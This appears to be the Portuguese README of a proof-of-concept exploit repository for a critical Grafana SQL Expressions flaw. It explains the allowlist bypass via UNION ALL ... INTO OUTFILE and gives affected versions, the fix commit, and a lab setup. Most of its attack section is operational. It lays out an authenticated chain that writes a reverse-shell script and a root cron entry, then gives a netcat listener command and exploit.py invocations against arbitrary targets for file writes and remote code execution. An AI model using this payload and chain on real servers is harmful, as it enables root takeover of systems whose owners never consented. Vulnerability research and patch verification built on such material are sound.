
Grafana Expressões SQL Escrita Arbitrária de Arquivo para RCE
CVSS 9.1 Crítico | Gravação Arbitrária de Arquivos | Execução Remota de Código
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
O recurso SQL Expressions do Grafana (alternância sqlExpressions) usa um mecanismo SQL em processo (dolthub/go-mysql-server) com uma lista de permissões AST defeituosa. O nó SetOp (UNION ALL) passa na validação e seu walkSubtree() não percorre o filho Into — permitindo que INTO OUTFILE grave arquivos arbitrários no sistema de arquivos do servidor como o usuário do processo Grafana.
Qualquer usuário autenticado (função Viewer ou superior) pode encadear isso para RCE completa via reverse shell baseado em cron.
| Faixa | Afetadas | Corrigidas |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Requer que a alternância do recurso sqlExpressions esteja habilitada.
Duas falhas combinadas em pkg/expr/sql/:
parser_allow.go: allowedNode() usa um retorno nomeado b = true. O caso *sqlparser.SetOp retorna true (permitido), e SetOp.walkSubtree() NÃO percorre o nó filho Into. Isso significa que UNION ALL ... INTO OUTFILE contorna a lista de permissões completamente.
db.go: O contexto do mecanismo SQL é criado sem WithDisableFileWrites(true), então INTO OUTFILE grava no disco.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
Um único (SELECT ...) INTO OUTFILE produz um nó ParenSelect que É bloqueado. Duas ou mais partes SELECT unidas com UNION ALL produzem um nó SetOp que contorna a verificação.
1. Autenticar (função Viewer é suficiente)
2. POST /api/ds/query com datasource __expr__, tipo "sql"
3. UNION ALL INTO OUTFILE grava script de reverse shell em /tmp/
4. Segunda gravação coloca entrada de cron em /etc/crontabs/root
5. Cron dispara em até 60 segundos -> reverse shell como root
cd lab/
docker compose up -d
# Aguarde o Grafana ficar saudável (~15s)
O Grafana roda em http://localhost:3333 com credenciais admin:admin.
Terminal 1 — Listener:
nc -lvnp 4444
Terminal 2 — Exploit:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
O reverse shell chega em até 60 segundos.
# Verificar se o alvo é vulnerável (sem gravações)
python3 exploit.py -t http://TARGET:3000 --check
# Gravar arquivo arbitrário
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Gravar arquivo local no alvo
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE via provisionamento de datasource (sem necessidade de cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Para reexecutar o exploit após uma execução anterior, limpe primeiro — INTO OUTFILE não pode sobrescrever arquivos existentes.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Análise completa da causa raiz
├── lab/
│ ├── docker-compose.yml # Laboratório Grafana 12.4.0 (confirmado)
│ ├── Dockerfile # Imagem personalizada com suporte a cron
│ ├── entrypoint.sh # Inicia crond + Grafana
│ └── setup.sh # Script de configuração automática
└── poc/
├── exploit.py # PoC completo com RCE
└── cvss-justification.md
Para pesquisa de segurança autorizada e testes de laboratório controlados apenas. Não use contra sistemas sem permissão explícita.